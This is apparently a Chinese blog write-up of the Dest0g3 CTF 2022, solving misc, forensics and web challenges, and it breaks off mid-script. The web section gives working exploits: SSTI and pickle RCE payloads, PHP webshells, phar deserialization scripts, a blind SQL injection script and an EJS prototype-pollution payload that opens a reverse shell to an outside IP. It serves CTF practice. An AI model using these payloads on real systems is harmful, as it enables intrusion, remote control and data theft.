本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ˘ω˘ @)ノ!!
Dest0g3{W31c0m3_t0_DestCTF2022!}
附件是个word,最开始是wingdings 3 字体,换成宋体得到一段base64
解密得到
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
<application xmlns="urn:schemas-microsoft-com:asm.v3">
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">Do you know js</dpiAwareness>
<script language="javascript">document.write(unescape('%3Chtml%3E%0A%3Cbody%3E%0A%0A%3C%21DOCTYPE%20html%3E%0A%3Chtml%3E%0A%3Chead%3E%0A%20%20%20%20%3Ctitle%3EDo%20You%20Know%20js%3C%2Ftitle%3E%0A%3CHTA%3AAPPLICATION%0A%20%20APPLICATIONNAME%3D%22Do%20You%20Know%20js%22%0A%20%20ID%3D%22Inception%22%0A%20%20VERSION%3D%221.0%22%0A%20%20SCROLL%3D%22no%22%2F%3E%0A%20%0A%3Cstyle%20type%3D%22text%2Fcss%22%3E%0A%3C%2Fhead%3E%0A%20%20%20%20%3Cdiv%20id%3D%22feature%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20id%3D%22content%0A%09%09%09%09%3C%2Fstyle%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ch1%20id%3D%22unavailable%22%20class%3D%22loading%22%3EBuilding%20js.....%3C%2Fh1%3E%0A%09%09%09%09%3Cscript%20type%3D%22text%2Fjavascript%22%20language%3D%22javascript%22%3E%0A%09%09%09%09%09function%20RunFile%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20var%20WshShell%20%3D%20new%20ActiveXObject%28%22WScript.Shell%22%29%3B%0A%09%09%09%09%09WshShell.Run%28%22notepad%20%25windir%25%2FDesktop%2Fjs.txt%22%2C%201%2C%20false%29%3B%0A%20%20%20%20%20%20%20%20%20%20%2F*%20var%20oExec%20%3D%20WshShell.Exec%28%22notepad%22%29%3B%20*%2F%0A%09%09%09%09%09%7D%0A%09%09%09%09%3C%2Fscript%3E%0A%20%20%20%20%20%20%20%20%3C%2Fdiv%3E%0A%20%20%20%20%3C%2Fdiv%3E%0A%3Cbody%3E%0A%09%3Cinput%20type%3D%22button%22%20value%3D%22Implant%20Inception%20Here%22%20onclick%3D%22RunFile%28%29%3B%22%2F%3E%0A%09%3Cp%20style%3D%22color%3Awhite%3B%22%3E%0A%0A%2B%2B%2B%2B%2B%20%2B%2B%5B-%3E%20%2B%2B%2B%2B%2B%20%2B%2B%3C%5D%3E%20%2B%2B%2B..%20%2B%2B.-.%20%2B%2B.--%20--.%2B%2B%20%2B%2B.--%20%0A-.-.-%20--.%2B%2B%20%2B%2B%2B%2B.%0A%2B.---%20-..%2B%2B%20%2B%2B.%3C%2B%20%2B%2B%5B-%3E%20%2B%2B%2B%3C%5D%20%3E%2B%2B.%3C%20%2B%2B%2B%5B-%20%0A%3E---%3C%20%5D%3E---%20---.%2B%20%2B%2B%2B%2B.%20-----%0A.%2B%2B%2B.%20...--%20---.%2B%20%2B%2B%2B%2B.%20---.%2B%20%2B%2B.--%20---.%2B%20%2B%2B%2B%2B.%20---..%20%2B%2B%2B%2B%2B%20%2B.---%20----.%0A%3C%2B%2B%2B%2B%20%5B-%3E%2B%2B%20%2B%2B%3C%5D%3E%20%2B%2B.%3C%2B%20%2B%2B%2B%5B-%20%3E----%20%3C%5D%3E-.%20---.%2B%0A%20%2B%2B%2B%2B%2B%20.----%20-.%2B%2B.%20%2B%2B.%2B.%0A--.--%20.%3C%2B%2B%2B%20%2B%5B-%3E%2B%20%2B%2B%2B%3C%5D%20%3E%2B%2B.%3C%20%2B%2B%2B%2B%5B%20-%3E---%20-%3C%5D%3E-%20%0A.%2B.-.%20---.%2B%20%2B%2B.%2B.%20-.%2B%2B%2B%0A%2B.---%20--.%3C%2B%20%2B%2B%2B%5B-%20%3E%2B%2B%2B%2B%20%3C%5D%3E%2B%2B%20.%3C%2B%2B%2B%20%5B-%3E--%20-%3C%5D%3E-%20----.%20----.%20%2B.%2B%2B%2B%20%2B.---%0A-.---%20.%2B%2B%2B.%20-..%3C%2B%20%2B%2B%2B%5B-%20%3E%2B%2B%2B%2B%20%3C%5D%3E%2B%2B%20%0A.%3C%2B%2B%2B%20%2B%5B-%3E-%20---%3C%5D%20%3E-.%2B%2B%20%2B%2B%2B.-%20----.%0A%2B%2B%2B..%20---.%2B%20%2B%2B.--%20--.%2B.%20..%2B%2B%2B%20%2B.-.-%20----.%20%2B%2B%2B%2B%2B%20%0A.----%20.%2B.%2B%2B%20%2B%2B.--%20--.%2B%2B%0A%2B%2B.-.%20----.%20%2B.-.%2B%20%2B%2B%2B%2B.%20%0A%3C%2B%2B%2B%5B%20-%3E%2B%2B%2B%20%3C%5D%3E%2B%2B%20%2B%2B.%3C%0A%3C%2Fp%3E%0A%3C%2Fbody%3E%0A%3C%2Fbody%3E%0A%20%20%3C%2Fhtml%3E%0A'));</script>
console.log输出得到
+++++ ++[-> +++++ ++<]> +++.. ++.-. ++.-- --.++ ++.--
-.-.- --.++ ++++.
+.--- -..++ ++.<+ ++[-> +++<] >++.< +++[-
>---< ]>--- ---.+ ++++. -----
.+++. ...-- ---.+ ++++. ---.+ ++.-- ---.+ ++++. ---.. +++++ +.--- ----.
<++++ [->++ ++<]> ++.<+ +++[- >---- <]>-. ---.+
+++++ .---- -.++. ++.+.
--.-- .<+++ +[->+ +++<] >++.< ++++[ ->--- -<]>-
.+.-. ---.+ ++.+. -.+++
+.--- --.<+ +++[- >++++ <]>++ .<+++ [->-- -<]>- ----. ----. +.+++ +.---
-.--- .+++. -..<+ +++[- >++++ <]>++
.<+++ +[->- ---<] >-.++ +++.- ----.
+++.. ---.+ ++.-- --.+. ..+++ +.-.- ----. +++++
.---- .+.++ ++.-- --.++
++.-. ----. +.-.+ ++++.
<+++[ ->+++ <]>++ ++.<
Brainfuck/Text/Ook! obfuscator - deobfuscator. Decode and encode online. (bugku.com)网站解密
446573743067337B38366661636163392D306135642D343034372D623730322D3836636233376162373762327D
转ascii为flag Dest0g3{86facac9-0a5d-4047-b702-86cb37ab77b2}
过滤modbus协议,可以发现寄存器的值一直在变化,提取出变化的字母
RGVzdDBnM3szMUE1QkVBNi1GMjBELUYxOEEtRThFQS0yOUI0RjI1NzEwOEJ9
解密得到flag Dest0g3{31A5BEA6-F20D-F18A-E8EA-29B4F257108B}
附件是个png图片,binwalk分离出一个有密码的zip,zsteg分析看到密码
b1,rgb,lsb,xy .. text: "Password for zip:Weak_Pas5w0rd"
解开压缩包得到flag Dest0g3{2908C1AA-B2C1-B8E6-89D1-21B97D778603}
不小心看到原题了……口令破解_Ni9htMar3的博客-CSDN博客,事实证明看着原题也做得想哭
首先hashcat+JohnTheRipper爆破出word密码
password.docm:$office$*2010*100000*128*16*d135d71212d659473f2b5fb4bf46d78e*e0a8853d6d0c42cafd62c82dda2fbc6e*d0889853485e2aeb49c06a1d3d691fc81ffb42a35f97c83d0ed5c646066f4ab1
根据提示[a-z] [a-z] q [a-z] b [a-z],hashcat爆破,密码为ulqsbt
hashcat.exe -m 9500 -a3 1.txt ?l?lq?lb?l
#$office$*2010*100000*128*16*d135d71212d659473f2b5fb4bf46d78e*e0a8853d6d0c42cafd62c82dda2fbc6e*d0889853485e2aeb49c06a1d3d691fc81ffb42a35f97c83d0ed5c646066f4ab1:ulqsbt
word内容
去掉word本来的密码,宏调试也有密码,修改为DPx即可绕过
查看word中的宏代码
If (strusrinput <> "") Then
strusout = Encode(strusrinput, t)
If (strusout = "┤℡ǒqx~") Then
strdec = Decode(Dialog.Label_ls.Caption, sinput)
Else
If (strusout = "kGJEgq") Then
strdec = Decode(Dialog.Label_ls1.Caption, sinput)
Else
If (strusout = "ЮΟopz+") Then
strdec = Decode(Dialog.Label_ls2.Caption, sinput)
Else
If (strusout = "zΚjrШφεあ") Then
strdec = Decode(Dialog.Label_ls4.Caption, sinput)
Else
If (strusout = "àǖtUw┧hè") Then
strdec = Decode(Dialog.Label_ls3.Caption, sinput)
Else
strdec = "密码不正确,别泄气再来!"
End If
End If
End If
End If
End If
Label_CLUE.Caption = strdec
End If
利用定义好的加解密函数,得到我们应该输入的strusrinput
例如Decode("┤℡ǒqx~", t)得到123456
123456
aaaaaa
000000
墙角数枝
iloveyou
最后试出密码 "解压密码:两只黄鹂鸣翠柳,一行白鹭上青天!"
根据word中提示,用这句古诗构造字典
import hashlib
def strSort(words):
tempword = words
for i in range(2**len(words)):
int_bin = str(bin(i)).replace("0b","")
for i in range(len(words)-len(int_bin)):
int_bin = "".join(("0",int_bin))
for index, i in enumerate(int_bin):
if i=='1':
wordslst = list(words)
wordslst[index] = wordslst[index].upper()
words = "".join(wordslst)
yield words
words = tempword
for word in strSort("2zhlmcl,1hblsqt."):
print(word)
hashcat爆破
hashcat.exe -m 13000 -a0 1.txt D:\download\d3\EasyWord\1.txt
rar密码为2zhlmcl,1hblsqt.
,得到flag Dest0g3{VBScr1pt_And_Hashc4t_1s_g00d}
爆破密码
然后十六进制转ascii
\u0052\u0047\u0056\u007a\u0064\u0044\u0042\u006e\u004d\u0033\u0074\u0045\u005a\u0057\u0039\u006b\u0061\u0057\u0035\u006e\u0058\u007a\u0046\u007a\u0058\u0032\u0055\u0030\u0063\u0033\u006c\u0066\u004e\u0046\u0039\u0056\u0066\u0051\u0025\u0033\u0044\u0025\u0033\u0044
Unicode
RGVzdDBnM3tEZW9kaW5nXzFzX2U0c3lfNF9VfQ%3D%3D
base解密得到flag Dest0g3{Deoding_1s_e4sy_4_U}
给的附件password是Whitespace Language,解析出压缩包密码 a8e15220-7404-4269-812e-6418557b7dc2
解压得到一张图片,zsteg分析,里面有个编译后的py
分离出来
zsteg -E b1,rgb,lsb,xy SECRET1.png > 1
运行,得到flag flag{b5bcfc87-5ca6-43f1-b384-57d09b886ca9}
取证大师跑一下e01镜像
然后去找对应的config.v2.json配置文件
时间是UTC时间
# python3
import hashlib
container1 = "project_work_web_1"+"2021-06-21_11:34:27"+"2021-06-21_11:48:56"+"2021-06-22_12:02:17"
container2 = "project_work_db_1"+"2021-06-21_11:34:27"+"2021-06-21_11:48:55"+"2021-06-22_12:02:17"
a = container1+container2
flag = "Dest0g3{" + hashlib.md5(a.encode()).hexdigest() + "}"
print(flag)
# Dest0g3{9c78287fc6292b46cec567202666bb03}
Alice访问自己的docker时忘记了把容器分别部署在哪些ip上,你能帮帮他么? Flag格式:Dest0g3{ip1_ip2_…} 例:假设容器1、容器2的ip为1.1.1.1、2.2.2.2,则flag为 Dest0g3{1.1.1.1_2.2.2.2}
172.18.0.2 db 4db256d69288 project_work_db_1
172.18.0.2 db_1 4db256d69288 project_work_db_1
172.18.0.2 project_work_db_1 4db256d69288
172.18.0.3 45b102b51abe
Dest0g3{172.18.0.2_172.18.0.3}
python vol.py -f '/mnt/hgfs/ezForensics/ezForensics/Memory.dd' --profile=Linuxoutputx64 linux_find_file -i 0xffff97105b58c968 -O log1
local_storage_manager.js中有半段flag
function getPartFlag(score) {
if (score > 10000) {
console.log("Q29uZ3JhdHVsYXRpb25zLCB0aGlzIGlzIHBhcnQgb2YgdGhlIGZsYWc6IE5HVmxOeTFpTmpjekxUazNNV1E0TVdZNFlqRTNOMzA9Lg==");
}
}
# Congratulations, this is part of the flag: NGVlNy1iNjczLTk3MWQ4MWY4YjE3N30=.
# 4ee7-b673-971d81f8b177}
注意到favicon很大,取下来,zsteg可以分离出音频,binwalk可以分离出zip
音频可以用QSSTV分析
MD5(ceil phone number)
dtmf2num解析电话声音
DTMF numbers: 74958097831
根据提示倒过来是电话号码13879085947,md5为32fc1b5487cb447f792a19418b92544e
,解开压缩包
用gaps拼图,我size好像一直不对……拼出来最好的是这样的
凑吧凑吧也把可以解密的字符串拼出来(i l 猜的我脑壳子嗡嗡响……)
RGVzdDBnM3tlZDRkMTE0Zi05ZWU0LQ==
base解码得到前半段flag Dest0g3{ed4d114f-9ee4-
用户名处有ssti,过滤了 空格 _ [ ] ' " . pop class request
参照这位师傅https://xz.aliyun.com/t/9584#toc-28 [2021 MAR & DASCTF]baby_flask这题,空格用%0c绕过
payload:
username={%%0cset%0czero%0c=%0c(self|int)%0c%}{%%0cset%0cone%0c=%0c(zero**zero)|int%0c%}{%%0cset%0ctwo%0c=%0c(zero-one-one)|abs%0c%}{%%0cset%0cfour%0c=%0c(two*two)|int%0c%}{%%0cset%0cfive%0c=%0c(two*two*two)-one-one-one%0c%}{%%0cset%0cthree%0c=%0cfive-one-one%0c%}{%%0cset%0cnine%0c=%0c(two*two*two*two-five-one-one)%0c%}{%%0cset%0cseven%0c=%0c(zero-one-one-five)|abs%0c%}{%%0cset%0cspace%0c=%0cself|string|min%0c%}{%%0cset%0cpoint%0c=%0cself|float|string|min%0c%}{%%0cset%0cc%0c=%0cdict(c=aa)|reverse|first%0c%}{%%0cset%0cbfh%0c=%0cself|string|urlencode|first%0c%}{%%0cset%0cbfhc%0c=%0cbfh~c%0c%}{%%0cset%0cslas%0c=%0cbfhc%((four~seven)|int)%0c%}{%%0cset%0cyin%0c=%0cbfhc%((three~nine)|int)%0c%}{%%0cset%0cxhx%0c=%0cbfhc%((nine~five)|int)%0c%}{%%0cset%0cright%0c=%0cbfhc%((four~one)|int)%0c%}{%%0cset%0cleft%0c=%0cbfhc%((four~zero)|int)%0c%}{%%0cset%0cbut%0c=%0cdict(buil=aa,tins=dd)|join%0c%}{%%0cset%0cimp%0c=%0cdict(imp=aa,ort=dd)|join%0c%}{%%0cset%0cpon%0c=%0cdict(po=aa,pen=dd)|join%0c%}{%%0cset%0cso%0c=%0cdict(o=aa,s=dd)|join%0c%}{%%0cset%0cca%0c=%0cdict(ca=aa,t=dd)|join%0c%}{%%0cset%0cls%0c=%0cdict(ls=x)|join%0c%}{%%0cset%0cev%0c=%0cdict(ev=aa,al=dd)|join%0c%}{%%0cset%0cred%0c=%0cdict(re=aa,ad=dd)|join%0c%}{%%0cset%0cbul%0c=%0cxhx~xhx~but~xhx~xhx%0c%}{%%0cset%0cini%0c=%0cdict(ini=aa,t=bb)|join%0c%}{%%0cset%0cglo%0c=%0cdict(glo=aa,bals=bb)|join%0c%}{%%0cset%0citm%0c=%0cdict(ite=aa,ms=bb)|join%0c%}{%%0cset%0cpld%0c=%0cxhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~(dict(flag=1)|join)~yin~right~point~red~left~right%0c%}{%%0cfor%0cf,v%0cin%0c(self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))()%0c%}{%%0cif%0cf%0c==%0cbul%0c%}{%%0cfor%0ca,b%0cin%0c(v|attr(itm))()%0c%}{%%0cif%0ca%0c==%0cev%0c%}{{b(pld)}}{%%0cendif%0c%}{%%0cendfor%0c%}{%%0cendif%0c%}{%%0cendfor%0c%}&password=2312
日志文件包含
/?file=/var/log/nginx/access.log
UA写马
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?>
传数组让$fl4g .= $dest0g3;
触发错误进入set_error_handler()
payload:
ctf[]=1
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>
str_ireplace函数用hex2bin绕过,正好单引号没有过滤 73797374656d→system
payload:
aaa=hex2bin('73797374656d')('rev+/fl?g');
flag为Dest0g3{8d1d2c4a-d0f8-4db7-ab08-4b054d2c5348}
试了试发现.htaccess文件可以上传并解析,但是过滤了文件内容,可以利用auto_append_file和php伪协议打组合拳绕过
payload:
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/png
AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.txt"
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: image/png
PD9waHAgQGV2YWwoJF9QT1NUWydhZyddKTs/Pg==
#
连接shell得到flag
import os
import config
from flask import Flask, request, session, render_template, url_for,redirect,make_response
import pickle
import io
import sys
import base64
app = Flask(__name__)
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name: #只能反序列化config类,而且调用的方法或属性中不能含有__
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/')
def show():
base_dir = os.path.dirname(__file__)
resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read())
resp.headers["Content-type"] = "text/plain;charset=UTF-8"
return resp
@app.route('/home', methods=['POST', 'GET'])
def home():
data=request.form['data']
User = restricted_loads(base64.b64decode(data))
return str(User)
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=5000)
import os
def backdoor(cmd):
# 这里我也改了一下
if isinstance(cmd,list) :
s=''.join(cmd)
print("!!!!!!!!!!")
s=eval(s)
return s
else:
print("??????")
遍历Python AST自动化生成Pickle opcode,参考这位师傅的wp和GitHub项目:https://xz.aliyun.com/t/7012#toc-0,https://github.com/eddieivan01/pker
exp.py
config_backdoor = GLOBAL('config', 'backdoor')
config_backdoor(["__import__('os').popen('cat /flag.txt').read()"])
return
生成Pickle opcode,base编码
data = b"cconfig\nbackdoor\np0\n0g0\n((S'__import__(\\'os\\').popen(\\'cat /flag.txt\\').read()'\nltR."
data = base64.b64encode(data)
print(data)
payload:
data=Y2NvbmZpZwpiYWNrZG9vcgpwMAowZzAKKChTJ19faW1wb3J0X18oXCdvc1wnKS5wb3BlbihcJ2NhdCAvZmxhZy50eHRcJykucmVhZCgpJwpsdFIu
得到flag Dest0g3{c7833ab6-58f7-4c07-ad64-1e7d286ca2db}
highlight_file(__FILE__);
function waf($data){
if (is_array($data)){
die("Cannot transfer arrays");
}
if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) {
die("You can't do");
}
}
class air{
public $p;
public function __set($p, $value) {
$p = $this->p->act;
echo new $p($value);
}
}
class tree{
public $name;
public $act;
public function __destruct() {
return $this->name();
}
public function __call($name, $arg){
$arg[1] =$this->name->$name;
}
}
class apple {
public $xxx;
public $flag;
public function __get($flag)
{
$this->xxx->$flag = $this->flag;
}
}
class D {
public $start;
public function __destruct(){
$data = $_POST[0];
if ($this->start == 'w') {
waf($data);
$filename = "/tmp/".md5(rand()).".jpg";
file_put_contents($filename, $data);
echo $filename;
} else if ($this->start == 'r') {
waf($data); //phar协议没有被过滤
$f = file_get_contents($data); //触发点
if($f){
echo "It is file";
}
else{
echo "You can look at the others";
}
}
}
}
class banana {
public function __get($name){
return $this->$name;
}
}
// flag in /
if(strlen($_POST[1]) < 55) {
$a = unserialize($_POST[1]);
}
else{
echo "str too long";
}
throw new Error("start");
?>
参考这个师傅:phar反序列化+两道CTF例题_Z3eyOnd的博客-CSDN博客_phar反序列化ctf [NSSCTF]prize_p1这题
触发D中的__destruct方法上传phar,然后file_get_contents触发phar反序列化
这里需要绕过两个限制:一是Error
这里师傅说由于unserialize($_GET[0]);
没有被引用,相当于unset,那么就可以绕过异常执行__destruct
……但是我没成功,我fuzz了一下发现O:1:"D":2:{s:5:"start";s:1:"w";}
可以绕过。
另外是file_put_contents时需要绕过waf中的air|tree|apple|banana
等类名,可以将phar文件压缩为另一种文件格式,这样反序列化依旧能够触发并且数据中不会出现明文
我们需要利用air类中的echo new $p($value);
来执行PHP原生类
ps.原生类:
DirectoryIterator可以配合glob://协议使用模式匹配来寻找需要的文件
SplFileObject可以读取文件
要触发air类的__set魔术方法,需要给不可访问属性赋值,apple类中__get
有赋值 ,触发__get
需要读取不可访问属性的值,需要触发tree中__call
,call是要调用内部不存在的方法,tree中__destruct
方法内return $this->name();
。
再回到air类,我们需要 p ( p( p(value), p 为 D i r e c t o r y I t e r a t o r , p为DirectoryIterator, p为DirectoryIterator,value为glob://xxxx,有因为apple-get触发air-set,所以apple-flag的值会传给 v a l u e , 所 以 让 ‘ value,所以让` value,所以让‘apple ->flag=‘glob://xxx’; 对于$p,air-get中
$p = KaTeX parse error: Expected group after '_' at position 59: …nana中不存在act属性,`_̲_get`被触发,返回act,…p为act,所以让act=DirectoryIterator。
回到最外层的tree,要触发__destruct
方法需要利用phpGC机制
先生成phar
class air{
public $p;
}
class tree{
public $name;
public $act;
}
class apple {
public $xxx;
public $flag;
}
class banana {
}
$air = new air();
$tree = new tree();
$apple = new apple();
$bana =new banana();
$apple ->flag='glob:///f*';
$apple ->xxx= $air ;
$air->p=$bana;
$bana->act="DirectoryIterator";
$tree->name= $apple;
$phar = new Phar("phar1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata([0=>$tree,1=>NULL]); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering(); ?>
因为反序列化的过程是顺序执行的,所以到第一个属性时,会将Array[0]
设置为tree
对象,同时我们又将Array[0]
设置为null
,这样前面的tree
对象便丢失了引用,就会被GC所捕获,就可以执行__destruct
了。
然后修改签名
from hashlib import sha1
f = open('./phar1.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('phar2.phar', 'wb').write(newf) # 写入新文件
上传phar
import requests
import gzip
import re
url = 'http://602ad6c4-4397-47e9-a1ea-d957fe9c0e7c.node4.buuoj.cn:81/'
file = open("./phar2.phar", "rb") #打开文件
file_out = gzip.open("./phar.zip", "wb+")#创建压缩文件对象
print(file_out)
file_out.writelines(file)
file_out.close()
file.close()
# 先将phar的内容写入/tmp/a.txt,其中file_put_contents相当于文件上传.
res=requests.post(
url,
data={
1: 'O:1:"D":2:{s:5:"start";s:1:"w";}',
0: open('./phar.zip', 'rb').read()
},
)
print(res.text)
# /tmp/6e1fdc42161a607b4fcdec2222a38881.jpg
# file_get_contents触发phar反序列化
res2 = requests.post(
url,
data={
1: 'O:1:"D":2:{s:5:"start";s:1:"r";}',
0: 'phar:///tmp/6e1fdc42161a607b4fcdec2222a38881.jpg'
}
)
print(res2.text)
# fflaggg
同理利用原生类读文件
$air = new air();
$tree = new tree();
$apple = new apple();
$bana =new banana();
$apple ->flag='/fflaggg';
$apple ->xxx= $air ;
$air->p=$bana;
$bana->act="SplFileObject";
$tree->name= $apple;
给了源码
几个依赖的版本:
"dependencies": {
"ejs": "3.1.7",
"express": "4.18.1",
"body-parser": "1.20.0"
}
app.js
const express = require('express')
const bodyParser = require('body-parser')
const app = express()
const port = 5000
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.set('view engine', 'ejs'); //设置ejs模板引擎
const merge= (target, source) => {
//没有导入lodashs,而是直接定义merge,也是存在原型链污染漏洞的
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
app.post('/', function (req, res) {
var target = {}
var source = JSON.parse(JSON.stringify(req.body))
merge(target, source)
res.render('index');
})
app.listen(port, () => {
console.log(`listening on port ${port}`)
})
我想的思路是原型链污染配合ejs模板引擎实现rce,但是因为ejs版本3.1.7,修复了opts.outputFunctionName处的漏洞:
node_modules/ejs/ejs.js
后来翻到这位师傅的文章https://www.anquanke.com/post/id/236354#h2-2,可以利用escapeFunction拼接
调试一下payload,发现只要一层__proto__
就可以污染到escapeFunction
{"__proto__":{"compileDebug":true,"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/180.76.184.229/8899 0>&1\"');"}}
这个payload只能用一次好像,第二次post时候merge会报错
反弹shell得到flag Dest0g3{d4be3069-aef9-4688-b565-dd483b3a228e}
ps . 还有个控制compileDebug和filename,finally逃逸try catch限制的思路https://www.anquanke.com/post/id/229301 + RCTF 2021 xss_it
图片里面藏着源码
upload.php:
error_reporting(0);
include("zip.php");
if(isset($_FILES['file']['name'])){
if(strstr($_FILES['file']['name'],"..")||strstr($_FILES['file']['name'],"/")){
echo "hacker!!";
exit;
}
if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)!="zip"){
echo "only zip!!";
exit;
}
$Myzip = new zip($_FILES['file']['name']);
mkdir($Myzip->path);
move_uploaded_file($_FILES['file']['tmp_name'], './'.$Myzip->path.'/' . $_FILES['file']['name']);
echo "Try to unzip your zip to /".$Myzip->path."
";
if($Myzip->unzip()){echo "Success";}else{echo "failed";}
}
zip.php:
class zip
{
public $zip_name;
public $path;
public $zip_manager;
public function __construct($zip_name){
$this->zip_manager = new ZipArchive();
$this->path = $this->gen_path();
$this->zip_name = $zip_name;
}
public function gen_path(){
$chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$newchars=str_split($chars);
shuffle($newchars);
$chars_key=array_rand($newchars,15);
$fnstr = "";
for($i=0;$i<15;$i++){
$fnstr.=$newchars[$chars_key[$i]];
}
return md5($fnstr.time().microtime()*100000);
}
public function deldir($dir) {
//先删除目录下的文件:
$dh = opendir($dir);
while ($file = readdir($dh)) {
if($file != "." && $file!="..") {
$fullpath = $dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
$this->deldir($fullpath);
}
}
}
closedir($dh);
}
function dir_list($directory)
{
$array = [];
$dir = dir($directory);
while ($file = $dir->read()) {
if ($file !== '.' && $file !== '..') {
$array[] = $file;
}
}
return $array;
}
public function unzip()
{
$fullpath = "/var/www/html/".$this->path."/".$this->zip_name;
$white_list = ['jpg','png','gif','bmp'];
$this->zip_manager->open($fullpath);
for ($i = 0;$i < $this->zip_manager->count();$i ++) {
if (strstr($this->zip_manager->getNameIndex($i),"../")){
echo "you bad bad";
return false;
}
}
if(!$this->zip_manager->extractTo($this->path)){
echo "Unzip to /".$this->path."/ failed";
exit;
}
@unlink($fullpath);
$file_list = $this->dir_list("/var/www/html/".$this->path."/");
for($i=0;$i<sizeof($file_list);$i++){
if(is_dir($this->path."/".$file_list[$i])){
echo "dir? I deleted all things in it"."
";@$this->deldir("/var/www/html/".$this->path."/".$file_list[$i]);@rmdir("/var/www/html/".$this->path."/".$file_list[$i]);
}
else{
if(!in_array(pathinfo($file_list[$i], PATHINFO_EXTENSION),$white_list)) {echo "only image!!! I deleted it for you"."
";@unlink("/var/www/html/".$this->path."/".$file_list[$i]);}
}
}
return true;
}
}
本来想用符号链接做,像[HACKIM 2016]SMASHTHESTATE那样,但是上传上去并没有解析,联想到之前见过的一个misc题目,让压缩包中目录名和一个文件名相同,这样解压时候会报错(但是文件已经解压出来了),于是利用 ↓处的exit,绕过之后检测的rmdir和unlink
if(! t h i s − > z i p m a n a g e r − > e x t r a c t T o ( this->zip_manager->extractTo( this−>zipmanager−>extractTo(this->path)){
echo “Unzip to /”.$this->path.“/ failed”;
exit;
}
首先创建一个passwd.php,内含一句话,把他zip进压缩包
zip -y pwn.zip passwd.php
然后删除passwd.php创建一个同名文件夹,里头随便放点东西,再压缩进同一个包
mkdir passwd.php
zip -y pwn.zip passwd.php/.jpg
得到的包长这样
访问对应的webshell,命令执行
/passwd.php?cmd=system(%27nl%20/flag%27);
黑名单
Really Easy SQL:$black_list=array('union','updatexml','order','by','substr',' ','and','extractvalue',';','sleep','join','alter','handler','char','+','/','like','regexp','offset','sleep','case','&','-','hex','%0','load’);
提示是insert注入,假设这个位钓鱼网站后端insert into test values('1' ,'2');
本地尝试得到这个payload↓
insert into flagg values(1,'0'^(if((select(length(database()))=4),(BENCHMARK(500000000,rand())),0))^'0','3');
好久之后才发现rand里头有and……可以用下面的payload测试有没有时间盲注
0'^(if((select(length(1234))=4),(BENCHMARK(20000000,md5(1))),0))^'0
limit中的空格,burp尝试的时候%a0可以绕过,但是python发包会有问题,没有解决,索性直接group_concat,最终payload见脚本↓
二分法写脚本:
# 二分法 时间盲注
import requests
import time
import datetime
url = "http://2d8b033e-9739-47dd-8f00-a05d6f6fa05c.node4.buuoj.cn:81/index.php"
result = ""
for i in range(1,100):
min_value = 33
max_value = 130
mid = (min_value+max_value)//2 #中值 mid = (min_value+max_value)>>1
while(min_value<max_value):
#payload = '''0'^(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{}),(BENCHMARK(2000000,md5(1))),0))^'0'''.format(str(i),str(mid))
#payload = '''0'^(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))>{}),(BENCHMARK(2000000,md5(1))),0))^'0'''.format(str(i),str(mid))
payload = '''0'^(if((ascii(mid((select(group_concat(cmd))from(flaggg)),{},1))>{}),(BENCHMARK(2000000,md5(1))),0))^'0'''.format(str(i),str(mid))
